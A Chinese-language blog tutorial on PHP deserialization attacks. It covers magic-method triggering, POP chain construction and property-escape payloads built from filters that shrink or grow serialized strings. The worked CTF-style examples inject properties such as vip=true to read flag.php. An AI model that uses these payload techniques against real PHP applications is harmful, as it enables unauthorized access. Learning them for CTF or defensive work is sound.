当前位置: 首页 > news >正文

php反序列化学习(2)

 1、魔术方法触发规则:

魔术方法触发的前提是:魔法方法所在类(或对象)被调用

分析代码,_wakeup()的触发条件是进行反序列化,_tostrinng()触发的条件是把对象当成字符串调用,但是魔术方法触发的前提是:魔法方法所在类(或对象)被调用,所以_wakeup()没有调用,echo将反序列化的对象当做字符串使用,则_tostrinng()被触发。如果要输出“tostring is here”就需要调用_tostrinng()函数,所以要在source中包含sec实例化的对象

构造得到payload

2、pop链构造与poc编写

pop链:

pop链就是利用魔法方法在里面实现多次跳转然后获取敏感数据的一种payload。

poc:中文译做概念验证,可以理解为漏洞验证程序,是一段不完整的代码(用于验证提出者观点)

首先分析代码,目标:触发echo,调用flag
第一步:触发invoke,调用append,并使Svar=flag.php(invoke触发条件:把对象当成函数)

给Sp赋值为对象,即function成为对象Modifier
却被当成函数调用,触发Modifier中的invoke

第二步:触发get,(触发条件:调用不存在的成员属性)给Sstr赋值为对象Test,而Test中不存在成员属性source,
则可触发Test里的成员方法get
第三步:触发toString (触发条件:把对象当成字符串)给Ssource赋值为对象Show,当成字符串被echo调用,触发toString

据此写出构造payload的代码

因为private属性所以要在前后加上%00后上传。

3、字符串逃逸:

字符减少:

反序列化分隔符:反序列化以;}结束,后面的字符串不影响正常的反序列化

属性逃逸:一般在数据经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少时可能存在反序列化属性逃逸。

原因:

1、成员属性数量不对

2、成员属性名称长度不对

3、内容长度不对

在前面字符串没有问题的情况下,;}是反序列化的结束符,后面的字符串不影响反序列化结果。但是;}不一定都是结束符,是字符串还是格式符是由前面的数字判断的。

<?php
highlight_file(__FILE__);
error_reporting(0);
class A{public $v1 = "abcsystem()system()system()";public $v2 = '123';public function __construct($arga,$argc){$this->v1 = $arga;$this->v2 = $argc;}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?> 

  分析:

  O:1:"A":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";}

    如果要逃逸123,就把前面的代码abc";s:2:"v2";s:3:"变成一个字符串

    思路:通过修改$v2的值123使后面的字符串变为功能性代码;s:2:"v3";N;}实现属性v2的逃逸

    O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:?:";s:2:"v3";N;}";}

   (字符串缺失导致格式被破坏,system()被吃掉,abc";s:2:"v长度为11; 令O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:3:"123";})

  因此需要让123前面的代码abc";s:2:"v2";s:3:"成为一个字符串

    O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:xx:";s:2:"v3";N;}
   

一个system()可以替换掉8个字符,abc";s:2:"v2";s:xx:";长度为20,所以前面最少要吃掉3个system()

    O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()syestem()";s:2:"v2";s:xx:";s:2:"v3";N;}";}

    abcsystem()system()syestem()的长度是27,吃掉后abc";s:2:"v2";s:xx:"长度为20,

    所以后面还要再补上7个字符,故:

    O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()syestem()";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}

所以,v1赋值为abcsystem()system()system();v2赋值为1234567";s:2:"v3";N;}

字符逃逸减少例题:

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){$safe=array("flag","php");$name=str_replace($safe,"hk",$name);return $name;
}
class test{var $user;var $pass;var $vip = false ;function __construct($user,$pass){$this->user=$user;$this->pass=$pass;}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));if ($profile->vip){echo file_get_contents("flag.php");
}
?>

要输出flag就需要if ($profile->vip){判断为真,因此在赋值时需要将其值改为true。

一:字符串过滤后减少还是增多
二:构造出关键成员属性序列化字符串
$vip=ture
三:变少则判断吃掉的内容,并计算长度
四:构造payload并输出

O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:3:"dun";s:3:"vip";b:1;}

flag被替换成hk,字符声减少会吃掉后面的结构代码

关键代码";s:3:"vip";b:1;}需要吃掉吃掉”:s:4"pass";s:3,$pass的值dun可控,可实现字符串逃逸。

但是这样的话成员属性就会减少一个,所以要多吃一个1,吃掉":s:4:"pass"'s:Xx:"1,这样总共吃了20位,flag转变成hk每次吃掉2个字符,所以共需要10个flag而多吃的一位可以在后面补。

给关键成员属性赋值,得到初始序列化代码。

<?php
//function filter($name){
//    $safe=array("flag","php");
//    $name=str_replace($safe,"hk",$name);
//    return $name;
//}
class test{var $user = 'flag';var $pass = 'dun';var $vip = true ;
//    function __construct($user,$pass){
//        $this->user=$user;
//        $this->pass=$pass;
//    }
//}
//$param=$_GET['user'];
//$pass=$_GET['pass'];
//$param=serialize(new test($param,$pass));
//$profile=unserialize(filter($param));
//
//if ($profile->vip){
//    echo file_get_contents("flag.php");
}
echo serialize(new test());
?>

用目标代码赋值($pass的值dun可控,可实现字符串逃逸。)

给pass赋值:1 ";s:4:"pass";s:3:"dun";s:3:"vip";b:1;}  (flag转变成hk每次吃掉2个字符,所以共需要10个flag而多吃的一位可以在后面补

user赋值:flagflagflagflagflagflagflagflagflagflag

<?php
//function filter($name){
//    $safe=array("flag","php");
//    $name=str_replace($safe,"hk",$name);
//    return $name;
//}
class test{var $user = 'flagflagflagflagflagflagflagflagflagflag';var $pass = '1 ";s:4:"pass";s:3:"dun";s:3:"vip";b:1;}';var $vip = true ;
//    function __construct($user,$pass){
//        $this->user=$user;
//        $this->pass=$pass;
//    }
//}
//$param=$_GET['user'];
//$pass=$_GET['pass'];
//$param=serialize(new test($param,$pass));
//$profile=unserialize(filter($param));
//
//if ($profile->vip){
//    echo file_get_contents("flag.php");
}
echo serialize(new test());
?>

字符增多:(例题)

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){$safe=array("flag","php");$name=str_replace($safe,"hack",$name);return $name;
}
class test{var $user;var $pass='daydream';function __construct($user){$this->user=$user;}
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));if ($profile->pass=='escaping'){echo file_get_contents("flag.php");
}
?>

首先观察代码发现替换后字符串增加

<?php
class test
{var $user = 'dun';var $pass = 'escaping';
}
echo serialize(new test());?>

O:4:"test":2:{s:4:"user";s:3:"dun";s:4:"pass";s:8:"escaping";}

得到结果,";s:4:"pass";s:8:"escaping";}就是需要逃逸的内容,共有29个,每个hack替换一个php,则替换29个字符需要输入29个php,所以user=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

<?php
class test
{var $user = 'phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}';var $pass = 'escaping';
}
//echo serialize(new test());$a = serialize(new test());    
$a = str_replace("php","hack",$a);
echo $a;   ?>

O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"escaping";}

总结:

反序列化字符串减少逃逸:多逃逸出一个成员属性,第一个字符串减少,吃掉有效代码,在第二个字符串构造代码
反序列化字符串增多逃逸:构造出一个逃逸成员属性第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性

相关文章:

  • 代码随想录算法训练营第三十四 |● 1005.K次取反后最大化的数组和 ● 134. 加油站 ● 135. 分发糖果
  • 前端开发:$nextTick()的使用及原理
  • Leetcode 105:从前序与中序遍历序列构造二叉树
  • 大数据中的电商数仓项目:探秘业务的核心
  • 【C++】——string模拟实现
  • GB-T 43206-2023 信息安全技术 信息系统密码应用测评要求
  • Vim安装与配置教程(解决软件包Vim没有安装可候选)
  • Mac安装第三方软件的命令安装方式
  • Django Celery技术详解
  • 【手撕面试题】Vue(高频知识点一)
  • Java八股文:程序员的“面试经”还是技术壁垒?
  • Vue Node 编译报错:digital envelope routines::unsupported
  • 打家劫舍I 打家劫舍II (leetcode)
  • 使用cad绘制一个螺旋输送机
  • 【Unity】实现轮盘抽奖
  • 30秒的PHP代码片段(1)数组 - Array
  • canvas 五子棋游戏
  • ES6系统学习----从Apollo Client看解构赋值
  • HTML5新特性总结
  • JavaScript设计模式系列一:工厂模式
  • jdbc就是这么简单
  • 基于Dubbo+ZooKeeper的分布式服务的实现
  • 开源中国专访:Chameleon原理首发,其它跨多端统一框架都是假的?
  • 聊聊flink的TableFactory
  • 浏览器缓存机制分析
  • 面试遇到的一些题
  • 爬虫模拟登陆 SegmentFault
  • 前端面试之闭包
  • 强力优化Rancher k8s中国区的使用体验
  • 全栈开发——Linux
  • 使用Envoy 作Sidecar Proxy的微服务模式-4.Prometheus的指标收集
  • 一个普通的 5 年iOS开发者的自我总结,以及5年开发经历和感想!
  • 再谈express与koa的对比
  • 正则表达式
  • linux 淘宝开源监控工具tsar
  • # include “ “ 和 # include < >两者的区别
  • # wps必须要登录激活才能使用吗?
  • #Datawhale AI夏令营第4期#AIGC文生图方向复盘
  • (done) NLP “bag-of-words“ 方法 (带有二元分类和多元分类两个例子)词袋模型、BoW
  • (java)关于Thread的挂起和恢复
  • (二)Eureka服务搭建,服务注册,服务发现
  • (非本人原创)史记·柴静列传(r4笔记第65天)
  • (附源码)springboot学生选课系统 毕业设计 612555
  • (黑马点评)二、短信登录功能实现
  • (几何:六边形面积)编写程序,提示用户输入六边形的边长,然后显示它的面积。
  • (三)mysql_MYSQL(三)
  • (四)搭建容器云管理平台笔记—安装ETCD(不使用证书)
  • (一)SpringBoot3---尚硅谷总结
  • (转载)虚幻引擎3--【UnrealScript教程】章节一:20.location和rotation
  • .NET C#版本和.NET版本以及VS版本的对应关系
  • .NET Core/Framework 创建委托以大幅度提高反射调用的性能
  • ??如何把JavaScript脚本中的参数传到java代码段中
  • @EnableAsync和@Async开始异步任务支持
  • @vue/cli脚手架
  • [ vulhub漏洞复现篇 ] AppWeb认证绕过漏洞(CVE-2018-8715)